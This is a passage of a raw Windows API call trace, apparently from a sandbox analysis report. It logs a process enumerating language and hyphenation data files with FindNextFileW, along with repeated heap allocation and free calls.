dwReserved0=0x0, dwReserved1=0x0, cFileName="brz32.clx", cAlternateFileName="")) returned 1 [0084.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee668 [0084.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7c28 [0084.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.209] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz40.hsp", cAlternateFileName="")) returned 1 [0084.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee688 [0084.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7d30 [0084.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7cc0) returned 0x12ea380 [0084.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0084.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.211] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul.hyp", cAlternateFileName="")) returned 1 [0084.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee6a8 [0084.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7e38 [0084.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.213] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul120.lex", cAlternateFileName="")) returned 1 [0084.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee6c8 [0084.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7f40 [0084.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.215] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul32.clx", cAlternateFileName="")) returned 1 [0084.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee6e8 [0084.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8048 [0084.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.216] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1430, dwReserved0=0x0, dwReserved1=0x0, cFileName="bulphon.env", cAlternateFileName="")) returned 1 [0084.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee708 [0084.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8150 [0084.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.218] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1240, dwReserved0=0x0, dwReserved1=0x0, cFileName="can.fca", cAlternateFileName="")) returned 1 [0084.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee728 [0084.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8258 [0084.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.220] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="can.hyp", cAlternateFileName="")) returned 1 [0084.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee748 [0084.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8360 [0084.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.221] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="can03.ths", cAlternateFileName="")) returned 1 [0084.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee768 [0084.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8468 [0084.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.223] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="can129.hsp", cAlternateFileName="")) returned 1 [0084.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee788 [0084.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8570 [0084.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.225] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="can32.clx", cAlternateFileName="")) returned 1 [0084.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee7a8 [0084.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8678 [0084.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.226] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr.fca", cAlternateFileName="")) returned 1 [0084.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee7c8 [0084.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8780 [0084.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.228] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr.hyp", cAlternateFileName="")) returned 1 [0084.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee7e8 [0084.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8888 [0084.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.230] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr32.clx", cAlternateFileName="")) returned 1 [0084.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee808 [0084.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8990 [0084.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.232] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a251, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr68.hsp", cAlternateFileName="")) returned 1 [0084.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee828 [0084.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8a98 [0084.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cfr95.ths", cAlternateFileName="")) returned 1 [0084.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee848 [0084.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8ba0 [0084.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.235] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl.fca", cAlternateFileName="")) returned 1 [0084.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee868 [0084.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8ca8 [0084.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.237] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl.hyp", cAlternateFileName="")) returned 1 [0084.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee888 [0084.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8db0 [0084.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7d00) returned 0x12bb0b0 [0084.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0084.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.239] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4589f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl28.hsp", cAlternateFileName="")) returned 1 [0084.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee8a8 [0084.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8eb8 [0084.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.241] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl32.clx", cAlternateFileName="")) returned 1 [0084.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee8c8 [0084.242] RtlAllocateHeap 